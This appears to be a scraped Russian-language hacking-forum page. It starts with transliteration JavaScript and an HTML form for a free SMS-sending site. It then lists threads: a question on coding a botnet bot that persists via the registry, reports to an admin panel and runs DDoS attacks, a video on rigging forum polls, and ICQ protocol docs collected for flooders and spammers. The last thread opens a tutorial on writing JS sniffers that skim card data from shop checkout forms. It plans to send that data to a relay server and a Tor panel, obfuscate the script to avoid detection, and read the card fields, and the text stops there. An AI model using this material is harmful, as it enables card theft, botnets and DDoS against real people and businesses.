var lat2 = ('SHH_JO_ZH_CH_SH_JE_JU_JA_A_B_V_G_D_E_Z_I_J_K_L_M_N_O_P_R_S_T_U_F_H_C_##_Y_\'\'_shh_jo_zh_ch_sh_je_ju_ja_a_b_v_g_d_e_z_i_j_k_l_m_n_o_p_r_s_t_u_f_h_c_#_y_\'').split('_');

var translitown=0;
var processhtmltags = 1; // switch to latin when the html tag <...> is typed in
var processbbcodetags = 1; // switch to latin when the bbcode tag [...] is typed in
var language = 0;
var maxtransliterationlength=3;
var lenreafontsize = 14; // WAENING: the value is defined in the main.css !!!
var textreafontwidth = 7; // The width of the text is supposed to be 7 !!!

var prelanguage = 0;

function translatesymboltocyrillic(txt)
{
for (var ii=0; ii<lat.length; ii++)
{
 pos = txt.length>lat[ii].length?(txt.length-lat[ii].length):0;
 if (lat[ii]==txt.substr(pos,txt.length-pos)) {
  return txt.substr(0,txt.length-lat[ii].length)+rus[ii];
 }
}
return txt;
}
function translatesymboltolatin(symb)
{
for (var ii=0;ii<rus2.length;ii++)
{
 if (rus2[ii]==symb)
 return lat2[ii];
}
return symb;
}

function translateAlltoCyrillic()
{
var inloop=1;
tt = window.document.text.sms;
p1 = tt.selectionStart; p2 = tt.selectionEnd;
var preval = ""; var postval="";
if (p1==p2) {txt = tt.value;}
else
{
 preval = tt.value.substring(0, p1);
 txt = tt.value.substring(p1,p2);
 postval = tt.value.substring(p2);
}
var txtnew = "";
if ((!processhtmltags)&&(!processbbcodetags))
{
 txtnew = translateStringtoCyrillic(txt);
}
else
{
 var htt1,pbb1,t1,t2,txt1,txt2,tag_open,tag_close;
 var noinputtag=0;
 if (processhtmltags) {tag_open="<";tag_close=">";}
 if (processbbcodetags) {tag_open="[";tag_close="]";}
 while(inloop)
 {
  if (processhtmltags&&processbbcodetags)
  {
   htt1 = txt.indexOf("<");
   pbb1 = txt.indexOf("[");
   if (pbb1==htt1) {noinputtag=1}
   if (pbb1==-1) {pbb1=txt.length;}
   if (htt1==-1) {htt1=txt.length;}  
   if (htt1<pbb1) {t1=htt1; tag_close=">";} else {t1=pbb1; tag_close="]";}
  }
  else
  {
   t1 = txt.indexOf(tag_open);
   if (t1==-1) noinputtag=1;
  }
  if (noinputtag) {inloop=0;t1=txt.length;t2=txt.length;}
  else
  {
   txt2=txt.substring(t1,txt.length);
   t2=txt2.indexOf(tag_close);
   //if (t2==-1) {t2=txt.length; inloop=0;} else {t2=t2+t1+1};
   if (t2==-1) {t2=t1+1} else {t2=t2+t1+1};
  }
  txt1 = txt.substring(0,t1);
  txt2 = txt.substring(t1,t2);
  txt = txt.substring(t2,txt.length);
  txtnew = txtnew+translateStringtoCyrillic(txt1)+txt2;  
 }
}
tt.value = preval+txtnew+postval;
if (p1!=p2) {tt.setSelectionRange(p1+txtnew.length,p1+txtnew.length);}
tt.focus();
return true;
}
function translateStringtoCyrillic(thestringlat)
{
var symbb,fromm,howmuch,thestringcyr="";
for (kk=0;kk<thestringlat.length;kk++)
{
 howmuch = thestringcyr.length>maxtransliterationlength?maxtransliterationlength:thestringcyr.length;
 fromm = thestringcyr.length-howmuch;
 symbbb = thestringlat.substr(kk,1);
 symbbb = translatesymboltocyrillic(thestringcyr.substr(fromm,howmuch)+symbbb);
 thestringcyr = thestringcyr.substr(0,fromm)+symbbb;  
}
return thestringcyr;
}
function translateAlltoLatin()
{
tt = window.document.text.sms;
p1 = tt.selectionStart; p2 = tt.selectionEnd;
var preval = ""; var postval="";
if (p1==p2) {txt = tt.value;}
else
{
 preval = tt.value.substring(0, p1);
 txt = tt.value.substring(p1,p2);
 postval = tt.value.substring(p2);
}
txtnew="";
var symb = "";
for (kk=0;kk<txt.length;kk++)
{
 symb = translatesymboltolatin(txt.substr(kk,1));
 txtnew = txtnew.substr(0,txtnew.length) + symb;
}
tt.value = preval+txtnew+postval;
if (p1!=p2) {tt.setSelectionRange(p1+txtnew.length,p1+txtnew.length);}
tt.focus();
return true;
}

//-->
</script>

А затем немного редактируем и саму форму отправки.
В итоге наш файл index.html должен иметь такой вид (вместе с java*script'ом транслита):

Code:Copy to clipboard

<html>
<head>
<meta HTTP-EQUIV="content-type" CONTENT="text/html; charset=koi8-r">
<title>SMS</title>
<script language="java*script"">
<!--
var maxLen=160;
 function setLen(dcs)
{
  if( dcs == 0 )
  {
    maxLen = 160;
  }
  else
  {
    maxLen = 70;
  }
  checkLen();
}

function setmaxlng()
{
document.text.len.value = maxLength;
}

function checkLen()
{
   if (document.all) {
      str = text.sms.value;
      len = str.length;
   }
   else{
       str = document.forms.text.sms.value;
       len = document.forms.text.name.textLength;
   }
   var rusLen = 0;
   if(document.forms.text.dcs[1].checked){
       var re = /[ёжцчшюя??]/i;
       var re1 = /[щ]/i;
       for(i=0;i<=len;i++){
           if(re.test(str.substr(i,1))){
           rusLen = rusLen +1;
           }
           if(re1.test(str.substr(i,1))){
           rusLen = rusLen +2;
           }
       }
   }
   fullLen = maxLen - rusLen;
  if ( len > fullLen) document.forms.text.sms.value = str.substring(0,fullLen);
  document.forms.text.len.value = (fullLen - document.forms.text.sms.value.length);
  document.forms.text.sms.focus();
}
// ------------------------------------Start garbage-----------------------------------------
// Translit:
// -------------------------- CONVERT TO RUS --------------------------
// 1 character letters
eng_table = "ABVGDEZIJKLMNOPRSTUFHXCYabvgdezijklmnoprstufhxcy'";
rus_table = "АБВГДЕЗИЙКЛМНОПРСТУФХХЦЫабвгдезийклмнопрстуфххцыь";
// 2 character letters
eng_table2 = "YOJOZHCHSHYUJUYAJAyojozhchshyujuyajaYoYoZhChShYuJuYaJa";
rus_table2 = "ЁЁЖЧШЮЮЯЯёёжчшююяяЁЁЖЧШЮЮЯЯ";

function translit2win(str)
{
var len = str.length;
var new_str="";

for (i = 0; i < len; i++)
{
 // Check for 2-character letters
 is2char=false;
 if (i < len-1)
 {
  for(j = 0; j < rus_table2.length; j++)
  {
   if(str.substr(i, 2) == eng_table2.substr(j*2,2))
   {
    new_str+= rus_table2.substr(j, 1);
    i++;
    is2char=true;
    break;
   }
  }
 }

 if(!is2char)
 {
  // Convert one-character letter
  var c = str.substr(i, 1);
  var pos = eng_table.indexOf(c);
  if (pos < 0)
   new_str+= c;
  else
   new_str+= rus_table.substr(pos, 1);
 }
}
return new_str;
}
 

// -------------------------- CONVERT TO LAT --------------------------
lat_eng_table = "ABVGDEJZIYKLMNOPRSTUFH4CIabvgdejziyklmnoprstufh4ci'";
lat_rus_table = "АБВГДЕЖЗИЙКЛМНОПРСТУФХЧЦЫабвгдежзийклмнопрстуфхчцыь";

function translit2lat(str)
{
var len = str.length;
var new_str="";

for (i = 0; i < len; i++)
{
 // Check for 2-character letters
 is2char=false;
 if (i < len)
 {
  if(str.substr(i, 1) == 'Ю')
  {
   new_str += 'YU ';
   i++;
   is2char=true;
  }
  if(str.substr(i, 1) == 'ю')
  {
   new_str += 'yu ';
   i++;
   is2char=true;
  }
 
  if(str.substr(i, 1) == 'Я')
  {
   new_str += 'YA ';
   i++;
   is2char=true;
  }
  if(str.substr(i, 1) == 'я')
  {
//    alert("1"+str.substr(i, 1)+"1");
   new_str += 'ya ';
   i++;
   is2char=true;
  }
 }
 // Convert one-character letter
 if(!is2char)
 {
  var c = str.substr(i, 1);
  var pos = lat_rus_table.indexOf(c);
  if (pos < 0)
   new_str+= c;
  else
   new_str+= lat_eng_table.substr(pos, 1);
 }
}
return new_str;
}
// ------------------------------------end garbage-----------------------------------------
function openTranslit()
{
var myUrl = "translit.html";
myWin=window.open(myUrl, "wind1", "width=800,height=745,resizable=no,scrollbars=no,menubar=no");
}

// *********************************************************************************
/*var rus_lr2 = ('Е-е-О-о-Ё-Ё-Ё-Ё-Ж-Ж-Ч-Ч-Ш-Ш-Щ-Щ-Ъ-Ь-Э-Э-Ю-Ю-Я-Я-Я-Я-ё-ё-ж-ч-ш-щ-э-ю-я-я').split('-');
var lat_lr2 = ('/E-/e-/O-/o-ЫO-Ыo-ЙO-Йo-ЗH-Зh-ЦH-Цh-СH-Сh-ШH-Шh-ъ'+String.fromCharCode(35)+'-ь'+String.fromCharCode(39)+
+'-ЙE-Йe-ЙU-Йu-ЙA-Йa-ЫA-Ыa-ыo-йo-зh-цh-сh-шh-йe-йu-йa-ыa').split('-');
var rus_lr1 = ('А-Б-В-Г-Д-Е-З-И-Й-К-Л-М-Н-О-П-Р-С-Т-У-Ф-Х-Х-Ц-Щ-Ы-Я-а-б-в-г-д-е-з-и-й-к-л-м-н-о-п-р-с-т-у-ф-х-х-ц-щ-ъ-ы-ь-ь-я').split('-');
var lat_lr1 = ('A-B-V-G-D-E-Z-I-J-K-L-M-N-O-P-R-S-T-U-F-H-X-C-W-Y-Q-a-b-v-g-d-e-z-i-j-k-l-m-n-o-p-r-s-t-u-f-h-x-c-w-'+
+String.fromCharCode(35)+'-y-'+String.fromCharCode(39)+'-'+String.fromCharCode(96)+'-q').split('-');
var rus_rl = ('А-Б-В-Г-Д-Е-Ё-Ж-З-И-Й-К-Л-М-Н-О-П-Р-С-Т-У-Ф-Х-Ц-Ч-Ш-Щ-Ъ-Ы-Ь-Э-Ю-Я-а-б-в-г-д-е-ё-ж-з-и-й-к-л-м-н-о-п-р-с-т-у-ф-х-ц-ч-ш-щ-ъ-ы-ь-э-ю-я').split('-');
var lat_rl = ('A-B-V-G-D-E-JO-ZH-Z-I-J-K-L-M-N-O-P-R-S-T-U-F-H-C-CH-SH-SHH-'+String.fromCharCode(35)+String.fromCharCode(35)+'-Y-'+String.fromCharCode(39)+
+String.fromCharCode(39)+'-JE-JU-JA-a-b-v-g-d-e-jo-zh-z-i-j-k-l-m-n-o-p-r-s-t-u-f-h-c-ch-sh-shh-'+String.fromCharCode(35)+'-y-'+String.fromCharCode(39)+'-je-ju-ja').split('-');

var lat = ('/E_/e_/O_/ o_Шh_Йo_Зh_Цh_Сh_Йe_Йu_Йa_Ыo_Ыu_Ыa_ШH_ЙO_ЗH_ЦH_СH_ЙE_ЙU_ЙA_ЫO_ЫU_ЫA_A_B_V_G_D_E_Z_I_J_K_L_M_N_O_P_R_
S_T_U_F_X_C_ъ#_Y_ь\'_H_W_Q_шh_йo_зh_цh_сh_йe_йu_йa_ыo_ыa_a_b_v_g_d_e_z_i_j_k_l_m_n_o_p_r_s_t_u_f_x_c_#_y_\'_h_w_q').split('_');
var rus = (& #39;E_e_O_o_Щ_Ё_Ж_Ч_Ш_Э_Ю_Я_Ё_Ю_Я_Щ_Ё_Ж_Ч_Ш_Э_Ю_Я_Ё_Ю_Я_А_Б_В_Г_Д_Е_З_И_Й_К_Л_М_Н_О_П_Р_С_Т_У_Ф_Х_Ц_
Ъ_Ы_Ь_Х_Щ_Я_щ_ё_ж_ч_ш_э_ю_я_ё_я_а_б_в_г_д_е_з_и_й_к_л_м_н_о_п_р_с_т_у_ф_х_ц_ъ_ы_ь_х_щ_я').split('_');
var rus2 = (& #39;Щ_Ё_Ж_Ч_Ш_Э_Ю_Я_А_Б_В_Г_Д_Е_З_И_Й_К_Л_М_Н_О_П_Р_С_Т_У_Ф_Х_Ц_Ъ_Ы_Ь_щ_ё_ж_ч_ш_э_ю_я_а_б_в_г_д_е_з_
и_й_к_л_м_н_о_п_р_с_т_у_ф_х_ц_ъ_ы_ь').split('_');
var lat2 = ('SHH_JO_ZH_CH_SH_JE_JU_JA_A_B_V_G_D_E_Z_I_J_K_L_M_N_O_P_R_S_T_U_F_X_C_##_Y_\'\'_shh_jo_zh_ch_sh_je_ju_ja_a_b_v_g_d_e_z_i_j_k_l_m_n_o_p_r_s_t_u_f_x_c_#_y_\'').split('_');
*/

var rus_lr2 = ('Е-е-О-о-Ё-Ё-Ё-Ё-Ж-Ж-Ч-Ч-Ш-Ш-Щ-Щ-Ъ-Ь-Э-Э-Ю-Ю-Я-Я-Я-Я-ё-ё-ж-ч-ш-щ-э-ю-я-я').split('-');
var lat_lr2 = ('/E-/e-/O-/o-ЫO-Ыo-ЙO-Йo-ЗH-Зh-ЦH-Цh-СH-Сh-ШH-Шh-ъ'+String.fromCharCode(35)+'-ь'+String.fromCharCode(39)+'-ЙE-Йe-ЙU-Йu-ЙA-Йa-ЫA-Ыa-ыo-йo-зh-цh-сh-шh-йe-йu-йa-ыa').split('-');
var rus_lr1 = ('А-Б-В-Г-Д-Е-З-И-Й-К-Л-М-Н-О-П-Р-С-Т-У-Ф-Х-Ц-Щ-Ы-Я-а-б-в-г-д-е-з-и-й-к-л-м-н-о-п-р-с-т-у-ф-х-х-ц-щ-ъ-ы-ь-ь-я').split('-');
var lat_lr1 = ('A-B-V-G-D-E-Z-I-J-K-L-M-N-O-P-R-S-T-U-F-H-C-W-Y-Q-a-b-v-g-d-e-z-i-j-k-l-m-n-o-p-r-s-t-u-f-h-x-c-w-'+String.fromCharCode(35)+'-y-'+String.fromCharCode(39)+'-'+String.fromCharCode(96)+'-q').split('-');
var rus_rl = ('А-Б-В-Г-Д-Е-Ё-Ж-З-И-Й-К-Л-М-Н-О-П-Р-С-Т-У-Ф-Х-Ц-Ч-Ш-Щ-Ъ-Ы-Ь-Э-Ю-Я-а-б-в-г-д-е-ё-ж-з-и-й-к-л-м-н-о-п-р-с-т-у-ф-х-ц-ч-ш-щ-ъ-ы-ь-э-ю-я').split('-');
var lat_rl = ('A-B-V-G-D-E-JO-ZH-Z-I-J-K-L-M-N-O-P-R-S-T-U-F-H-C-CH-SH-SHH-'+String.fromCharCode(35)+String.fromCharCode(35)+'-Y-'+
+String.fromCharCode(39)+String.fromCharCode(39)+'-JE-JU-JA-a-b-v-g-d-e-jo-zh-z-i-j-k-l-m-n-o-p-r-s-t-u-f-h-c-ch-sh-shh-'+String.fromCharCode(35)+'-y-'+String.fromCharCode(39)+'-je-ju-ja').split('-');

var lat = ('/E_/e_/O_/ o_Шh_Йo_Зh_Цh_Сh_Йe_Йu_Йa_Ыo_Ыu_Ыa_ШH_ЙO_ЗH_ЦH_СH_ЙE_ЙU_ЙA_ЫO_ЫU_ЫA_A_B_V_G_D_E_Z_I_J_K_L_M_N_O_P_R_
S_T_U_F_H_C_ъ#_Y_ь\'_H_W_Q_шh_йo_зh_цh_сh_йe_йu_йa_ыo_ыa_a_b_v_g_d_e_z_i_j_k_l_m_n_o_p_r_s_t_u_f_h_c_#_y_\'_h_w_q').split('_');
var rus = (& #39;E_e_O_o_Щ_Ё_Ж_Ч_Ш_Э_Ю_Я_Ё_Ю_Я_Щ_Ё_Ж_Ч_Ш_Э_Ю_Я_Ё_Ю_Я_А_Б_В_Г_Д_Е_З_И_Й_К_Л_М_Н_О_П_Р_С_Т_У_Ф_Х_Ц_
Ъ_Ы_Ь_Х_Щ_Я_щ_ё_ж_ч_ш_э_ю_я_ё_я_а_б_в_г_д_е_з_и_й_к_л_м_н_о_п_р_с_т_у_ф_х_ц_ъ_ы_ь_х_щ_я').split('_');
var rus2 = (& #39;Щ_Ё_Ж_Ч_Ш_Э_Ю_Я_А_Б_В_Г_Д_Е_З_И_Й_К_Л_М_Н_О_П_Р_С_Т_У_Ф_Х_Ц_Ъ_Ы_Ь_щ_ё_ж_ч_ш_э_ю_я_а_б_в_г_д_е_з_
и_й_к_л_м_н_о_п_р_с_т_у_ф_х_ц_ъ_ы_ь').split('_');
var lat2 = ('SHH_JO_ZH_CH_SH_JE_JU_JA_A_B_V_G_D_E_Z_I_J_K_L_M_N_O_P_R_S_T_U_F_H_C_##_Y_\'\'_shh_jo_zh_ch_sh_je_ju_ja_a_b_v_g_d_e_z_i_j_k_l_m_n_o_p_r_s_t_u_f_h_c_#_y_\'').split('_');

var translitown=0;
var processhtmltags = 1; // switch to latin when the html tag <...> is typed in
var processbbcodetags = 1; // switch to latin when the bbcode tag [...] is typed in
var language = 0;
var maxtransliterationlength=3;
var lenreafontsize = 14; // WAENING: the value is defined in the main.css !!!
var textreafontwidth = 7; // The width of the text is supposed to be 7 !!!

var prelanguage = 0;

function translatesymboltocyrillic(txt)
{
for (var ii=0; ii<lat.length; ii++)
{
 pos = txt.length>lat[ii].length?(txt.length-lat[ii].length):0;
 if (lat[ii]==txt.substr(pos,txt.length-pos)) {
  return txt.substr(0,txt.length-lat[ii].length)+rus[ii];
 }
}
return txt;
}
function translatesymboltolatin(symb)
{
for (var ii=0;ii<rus2.length;ii++)
{
 if (rus2[ii]==symb)
 return lat2[ii];
}
return symb;
}

function translateAlltoCyrillic()
{
var inloop=1;
tt = window.document.text.sms;
p1 = tt.selectionStart; p2 = tt.selectionEnd;
var preval = ""; var postval="";
if (p1==p2) {txt = tt.value;}
else
{
 preval = tt.value.substring(0, p1);
 txt = tt.value.substring(p1,p2);
 postval = tt.value.substring(p2);
}
var txtnew = "";
if ((!processhtmltags)&&(!processbbcodetags))
{
 txtnew = translateStringtoCyrillic(txt);
}
else
{
 var htt1,pbb1,t1,t2,txt1,txt2,tag_open,tag_close;
 var noinputtag=0;
 if (processhtmltags) {tag_open="<";tag_close=">";}
 if (processbbcodetags) {tag_open="[";tag_close="]";}
 while(inloop)
 {
  if (processhtmltags&&processbbcodetags)
  {
   htt1 = txt.indexOf("<");
   pbb1 = txt.indexOf("[");
   if (pbb1==htt1) {noinputtag=1}
   if (pbb1==-1) {pbb1=txt.length;}
   if (htt1==-1) {htt1=txt.length;}  
   if (htt1<pbb1) {t1=htt1; tag_close=">";} else {t1=pbb1; tag_close="]";}
  }
  else
  {
   t1 = txt.indexOf(tag_open);
   if (t1==-1) noinputtag=1;
  }
  if (noinputtag) {inloop=0;t1=txt.length;t2=txt.length;}
  else
  {
   txt2=txt.substring(t1,txt.length);
   t2=txt2.indexOf(tag_close);
   //if (t2==-1) {t2=txt.length; inloop=0;} else {t2=t2+t1+1};
   if (t2==-1) {t2=t1+1} else {t2=t2+t1+1};
  }
  txt1 = txt.substring(0,t1);
  txt2 = txt.substring(t1,t2);
  txt = txt.substring(t2,txt.length);
  txtnew = txtnew+translateStringtoCyrillic(txt1)+txt2;  
 }
}
tt.value = preval+txtnew+postval;
if (p1!=p2) {tt.setSelectionRange(p1+txtnew.length,p1+txtnew.length);}
tt.focus();
return true;
}
function translateStringtoCyrillic(thestringlat)
{
var symbb,fromm,howmuch,thestringcyr="";
for (kk=0;kk<thestringlat.length;kk++)
{
 howmuch = thestringcyr.length>maxtransliterationlength?maxtransliterationlength:thestringcyr.length;
 fromm = thestringcyr.length-howmuch;
 symbbb = thestringlat.substr(kk,1);
 symbbb = translatesymboltocyrillic(thestringcyr.substr(fromm,howmuch)+symbbb);
 thestringcyr = thestringcyr.substr(0,fromm)+symbbb;  
}
return thestringcyr;
}
function translateAlltoLatin()
{
tt = window.document.text.sms;
p1 = tt.selectionStart; p2 = tt.selectionEnd;
var preval = ""; var postval="";
if (p1==p2) {txt = tt.value;}
else
{
 preval = tt.value.substring(0, p1);
 txt = tt.value.substring(p1,p2);
 postval = tt.value.substring(p2);
}
txtnew="";
var symb = "";
for (kk=0;kk<txt.length;kk++)
{
 symb = translatesymboltolatin(txt.substr(kk,1));
 txtnew = txtnew.substr(0,txtnew.length) + symb;
}
tt.value = preval+txtnew+postval;
if (p1!=p2) {tt.setSelectionRange(p1+txtnew.length,p1+txtnew.length);}
tt.focus();
return true;
}

//-->
</script>
</head>
<body link="#000000" alink="#000000" vlink="#000000">

<!-- FORM -->
<center>
<table width="100%">
<td align="center" width="100%" bgcolor="#cccccc"><center>Бесплатная отправка SMS сообщений</center></td>
</table>
<table border=0 width=90%>
<tr>
<td width=50%>
<body onload="checkLen()">
<FORM ACTION="send.php" METHOD=POST name="text">
<TABLE BORDER=0>
<TR>
<TD>Номер телефона:</TD>
<TD><input type=text name="phone" size=18 maxlength=12></TD></TR>
<TR>
<TD>Выбор оператора:</TD>
<TD><select name="operator" size=1>
<option value="1" >operator 1</option>
<option value="2" >operator 2</option>
<option value="3" >operator 3</option>
</TD></TR>
<TR>
<td colspan="2">Отправить сообщение на русском?</td>
</tr>
<tr>
<td colspan="2"><input type=radio value=1 onClick=setLen(this.value) name="dcs">Да
<input type=radio value=0 onClick=setLen(this.value) name="dcs" checked>Нет</td>
</TR>
<TR>
<TD colspan=2>
Сообщение: 
<textarea name="sms" cols=40 rows=5 onChange=checkLen() onKeyUp=checkLen()></textarea></TD>
<td valign="middle"><p> </p><!-- <input name=len type=hidden onChange=checkLen(document.forms[0]) onKeyUp=checkLen(document.forms[0]) value=0> --><font size="-2">осталось <INPUT TYPE="text" NAME="len" VALUE="160" SIZE=4 onChange="checkLen()" onKeyUp="checkLen()" tabindex="-1">символов</td>
</TR>
<tr>
<td align="center" colspan="2">
<input onclick="translateAlltoCyrillic();doChange();" type="button" value="в кириллицу" class="subbutton" title="Перевести текст в кириллицу">
<input onclick="translateAlltoLatin();doChange()" type="button" value="в латиницу" class="subbutton" title="Перевести текст в латиницу">
</td>
</tr>
<TR>
<TD colspan=2 align=center><input type=submit value="Отправить">
<!-- <input type="button" value="2RUS" class="subbutton" onclick="alert(translit2win(sms_text.value));">
<input type="button" value="2LAT" class="subbutton" onclick="alert(translit2lat(sms_text.value));"> -->
<input type=reset value="Очистить"></TD></TR>
</TABLE></FORM>
</td>
</tr></table></center>
<!-- End FORM -->
</body>
</html>

P.S.: за помощь в создании скрипта выражаю огромную благодарность Strelk'у и SiRex'у с grudina.info .

Вопросы по кодингу бота
ID: 67668b27b4103b69df375e1c
Thread ID: 21814
Created: 2011-06-19T19:56:09+0000
Last Post: 2013-06-11T15:37:30+0000
Author: Quake3
Replies: 31 Views: 8K

Хотелось бы обсудить такую тему, точнее - задать несколько ламерских вопросов по кодингу.

1. Где можно посмотреть, как примерно должен работать бот в системе? Т.е., какой нибудь план, для примера:
"запускаемся => проверяем первый это запуск или нет => если первый, то копируем себя в такую-то директорию, прописываем в реестр, отправляем на сервер данные; если не первый - стучим в админку о том, что живы, ждем задания".
Может есть какие-то актуальные статьи, или актуальные сорцы (языки - Асм, С), где можно глянуть, как пишут опытные кодеры?

2. Как быть в такой ситуации. Допустим, мой бот получил задание на атаку такого-то сайта. Вызывается процедура (например, http_attack proc, url), и на сайт, полученный из админки, пошла атака. Но - надо ведь и проверять, не поступила ли с админки команда на прекращение атаки. И как это делать? т.е. прервать процедуру атаки, проверить что в админке, если все ок - то снова вызвать атаку, если нет - ждать опять сигнала. Как то по дурацки выглядит. Как делают нормальные кодеры? Через процессы? т.е. 1 процесс постоянно проверяет команды из админки, а второй в это время (зависит от команды) ддосит или нет.

Установка Web-Server based on Apache, Mysql, PHP
ID: 67668b27b4103b69df375eeb
Thread ID: 9629
Created: 2006-07-02T15:24:46+0000
Last Post: 2006-07-06T04:58:52+0000
Author: Schtirliz
Prefix: Видео
Replies: 11 Views: 8K

Установка Web-Server based on Apache, Mysql, PHP
автор Eliziym

:zns5: Скачать|Download

Эксперименты с IPB
ID: 67668b27b4103b69df375ee9
Thread ID: 9802
Created: 2006-07-09T20:58:36+0000
Last Post: 2006-07-11T16:41:53+0000
Author: ZXroot
Prefix: Видео
Replies: 7 Views: 7K

В этом видео я описал, как изменять ход голосования в IPB в свою пользу. Так же описан пример, как изменить кол-во постов/просмотров в отдельном форуме.

:zns5: Скачать|Download

ICQ протокол
ID: 67668b27b4103b69df375ebb
Thread ID: 8180
Created: 2006-05-02T11:37:35+0000
Last Post: 2006-10-20T14:10:50+0000
Author: Winux
Replies: 14 Views: 7K

Думаю, каждого кодера рано или поздно заинтересует сабж. Всем хочется написать флудер/спамер или еще что прикольное для ICQ. В топике собираем доки по ICQ протоколу, желательно на русском.

Начнем.

Неофициальная документация по протоколу ICQv7 от Rejetto (создателя andrq)
Самая популярная документация по OSCAR
Люди хороши пишут о протоколе
Курсовая работа, посвященная исследованию протоколов ICQ
Спецификация протокола icq5
Спецификация протокола icq2
Спецификация протокола ICQ TCP версии #2
Спецификация протокола ICQ V4 (из списка рассылки icq- devel)
Описание шифрования в протоколе icq v5
Описание расшифровки v4 пакетов на c
Еще одна спецификация Оскара

Компоненты для кодинга:

Мало кому известный icq-aim-компонент.The best for advanced.Нуждается в MD5-модуле,тк аим работает с мд5.Delphi
KIcq.Компонент для C.Устарел и нуждается в переделке
TicqClient от coban2k.Не нуждается в представлении,имеет хороший хелп+несколько прог-примеров,легок в использовании.Не работает с aim.Во вложениях модицифированный компонент от неизвестного автора

Разное

Code:Copy to clipboard

oscar proto snac
Для тех, кто знает строение и названия разных снеков протокола в любительских описаниях, такое “иное” описание может быть интересным. Весь список публиковать пожже, но название некоторых общепринятых и известных снеков в этом списке, просто приводят в странное состояние. Вот тут только маленький списочек, в основном список снеков, которые пропущены любительскими составителями. Однако, несмотря на это описание, многих снеков сейчас просто не существует.

Family 0x0017 - BUCP Service (Login)
0x0008 ASASN
0x0009 ASASN Reply

Family 0x0013 - Feedbag (Buddylist)
0x000B Insert Class
0x000C Update Class
0x000D Delete Class
0x0013 Authorize Buddy
0x0017 Remove Me 2

Family 0x0004 - Instant Messenging (ICBM)
0x000E Sin List Query
0x000F Sin List Reply
0x0010 Sin Retrieve
0x0011 Sin Delete
0x0012 Notify Request
0x0013 Notify Reply

Family 0x0002 - Location
0x000D Group Capability Query
0x000E Group Capability Reply
0x0011 Get Keyword Info
0x0012 Get Keyword Info Reply
0x0013 Find List by Email
0x0014 Find List by Email Reply

Family 0x0001 - General
0x0019 Max Config Query
0x001A Max Config Reply
0x001B Store Config
0x001C Config Query
0x001D Config Reply

идентификация клиента:

Code:Copy to clipboard

ANDRQ =$FFFFFF7F;
MIRANDA =$FFFFFFFF;
STRICQ =$FFFFFF8F;
YSM =$FFFFFFAB;
MICQ =$7d0001ea;
MICQ2 =$ffffff42;
LICQ =$7d000000;
Trillian = 3B75AC09
IM2 = 3FF19BEB
CenterICQ = 3AA773EE
vICQ = 04031980
alICQ = FFFFFFBE
Регулярные выражения
ID: 67668b27b4103b69df375e27
Thread ID: 18762
Created: 2009-12-28T09:56:04+0000
Last Post: 2012-11-12T00:21:16+0000
Author: lisa99
Replies: 5 Views: 7K

Порекомендуйте, please, что почитать получше (php)..
Видела когда-то где-то совет, мол, смотри туда-то, хорошая книга, но мне тогда не надо было ;)

JS сниффер
ID: 67668b27b4103b69df375d45
Thread ID: 49225
Created: 2021-03-12T05:01:38+0000
Last Post: 2022-08-15T10:56:39+0000
Author: pstdocx
Prefix: Статья
Replies: 18 Views: 7K

Приветствую.
Изначально статья должна была быть на много подробнее и больше, с картинками и реальными примерами, также я думал разбить ее на несколько частей, но релиз вышел иным, приятного чтения.
Данная статья несет исключительно ознакомительный характер, и никого не призывает использовать ее с целью кражи данных, а лишь показывает каким образом злоумышленник может похитить банковскую информацию клиентов онлайн магазина.

В этой статье я постараюсь максимально кратко НО информативно обьяснить как устроены js сниферы, и как их писать.
Мы рассмотрим с вами написание сниферов, которые собирают инфу с шопов, чекаут формы которых выглядят следующим образом:
1. Формы находящиеся непосредственно на странице
2. Формы поля которых находятся внутри iframe
3. Формы [обычные\фреймы] меняющие код в зависимости от выбранных значений(например изменение страны доставки изменяет форму целиком, перезагружая ее - тем самым заставляет нас не вешать событие сабмита сразу, а ловить его на финальной стадии)
4. Редирект, подробно рассказать за него не выйдет, так как все сводится к подмене ссылки с оригинальной на фейк и при возвращении - вывод ошибки о неверно введенных данных(легко поверить, все же ошибаются), с последующей передаресацией жертвы на оригинальный чекаут.

Мы рассмотрим следующие моменты:
1. Подмена полей
2. Сниф данных с полей
3. Отправка украденной информации к нам на сервер-посредник
4. Пересылка информации с сервера посредника на админку, находящуюся в торе
5. Принятие запроса и сохранение данных в MySql таблицу

Перед написанием снифера, мы считаем что следующие условия соблюдены:
1. Доступ к шопу с правами на запись
2. VPS с доменом sniffer-domain.com и ssl сертификатом(подойдет бесплатный lets encrypt) + поднятый apache и установлены модули php + библиотека curl + tor service
3. VPS c TOR доменом заканчивающимся на .onion + поднятый apache и установленные модули php и mysql

1 ЧАСТЬ:
Общие моменты:

1. Снифер должен работать только после полной загрузки окна, чтобы событие клика на кнопку чекаута не было undefined вешается событие:

JavaScript:Copy to clipboard

window.addEventListener('load',(event)=>{
    //code
}

2. В зависимости от того куда будет добавлен скрипт снифера, необходимо делать проверку того, что мы находимся именно на странице чекаута.
Легче всего это сделать проверив адресную строку:

JavaScript:Copy to clipboard

if(window.location.toString().search(/checkouts/)!=-1){
    //code
}

3. Код можно обфусцировать, в сети вы найдете много онлайн js обфускаторов, это защитит ваш код от случайного обнаружения
Links - НЕ реклама, в сети их много:
https://www.javascriptobfuscator.com/Javascript-Obfuscator.aspx
https://www.obfuscator.io/

Основная часть

Перед нами обычная форма которая находится на сайте, мы имеем следующие поля:

HTML:Copy to clipboard

<span class="input-wrapper">
    <input type="text" class="input-text" name="name" id="name" placeholder="" value="">
</span>
<span class="input-wrapper">
    <input type="tel" class="input-text" name="cc_number" id="credit_card_number" placeholder="XXXX XXXX XXXX XXXX" value="" maxlength="20">
</span>
<span class="input-wrapper">
    <input type="tel" class="input-text" name="cc_expiry" id="credit_card_expiry" placeholder="MM / YY" value="" maxlength="7">
</span>
<span class="input-wrapper">
    <input type="tel" class="credir_card_cvc" name="" id="credit_card_cvc" placeholder="CVC" value="" maxlength="4">
</span>

В соответствии с объектной моделью документа («Document Object Model», коротко DOM), каждый HTML-тег является объектом.
Значения которые вводит юзер - хранятся в атрибуте value.
Чтобы получить значение из value нам необходимо обратится к обьекту тега input, и взять значение атрибута value:

JavaScript:Copy to clipboard

//Обьявляем переменную
let name = "";
//Записываем в нее значение value
name = document.getElementById(id).value;
//Таким же образом получаем остальные значения...

В определенных ситуациях некоторые поля могут иметь пустое value, либо обьекта вообще нет, для этого нужно добавить проверку дабы избежать ошибок во время выполнения:

JavaScript:Copy to clipboard

let name = "";
name = document.getElementById(id) ? document.getElementById(id).value : "";
